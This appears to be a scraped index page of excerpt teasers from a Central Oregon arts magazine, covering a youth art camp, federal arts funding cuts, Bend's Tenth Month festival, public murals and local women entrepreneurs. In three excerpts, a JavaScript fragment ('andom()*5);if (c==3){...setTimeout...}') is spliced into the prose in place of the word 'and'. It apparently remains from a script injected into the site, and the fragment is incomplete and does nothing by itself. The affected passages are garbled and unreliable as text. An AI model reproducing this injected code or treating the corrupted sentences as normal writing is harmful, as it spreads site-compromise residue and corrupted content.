Central Oregon at-risk youth with limited opportunities have greatly benefited from Caldera’s long-time mission to be a catalyst for the transformation of underserved youth. Founded in 1996 by Dan Wieden (co-founder of the Portland, Oregon-based international advertising agency, Wieden+Kennedy) and his family, the innovative, year-round art and environmental camp continues to nurture creativity and by…

The Trump administration federal budget proposal would eliminate the National Endowment for the Humanities, the National Endowment for the Arts, Institute of Museum and Library Services and the Corporation for Public Broadcasting, as well as other agencies. This of course is shortsighted, ludicrous and absurd…replacing organizations that create empathy and passion for other people…with armored…

“Over the past few years, our programs have doubled in size. We reach thousands locally and globally through our programming, events, travel, and grants. We believe this work is more important than ever, and we believe this year’s Muse Conference is more necessary than ever. We will be featuring more male voices on the stage…

Creativity, Culture & Innovation in Central Oregon Visit Bend has designated October as Tenth Month – a creative ideas month – highlighting innovative and entrepreneurial programming in Bend. Tenth Month Bend is a month-long celebration of brave ideas and innovation in art, film, marketing, technology and design. The Oregon Cultural Trust is launching October with Days…

From the well-established Tin Pan Alley art collection to hopes for a High Desert Mural Festival, public art is quickly gaining steam in Bend. Cascade AE explores the importance, the need and the future of this growing movement. BEND HEADS TOWARDS LEGALIZING MURAL ART IN MAKERS DISTRICT A feeling of cohesive collaboration was in the…

Central Oregon is inspiring. Not only for the mountain backdrop, cascading waterfalls andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and 300 days of sun, but for the entrepreneurial spirit, creative collaborations andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and, for me especially, the strong women roll-models found here. We have an impressive collection of women-owned businesses in the high…

I measure time by how a body sways. ~ from Theodore Roethke’s poem I Knew a Woman Have you experienced real flow before? To me flow can be a feeling that comes from gliding down the mountain on a powdery winter day, the movements effortless, the exhilaration sublime. Or when I’m working on an article…

I believe in living life the way that you want to live it every day, andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and if you do that, you don’t really need to have New Year’s resolutions. Tom Ford I love our cover image this month. Dorothy Eberhardt’s Smith Rock Snow to me represents a new perspective on…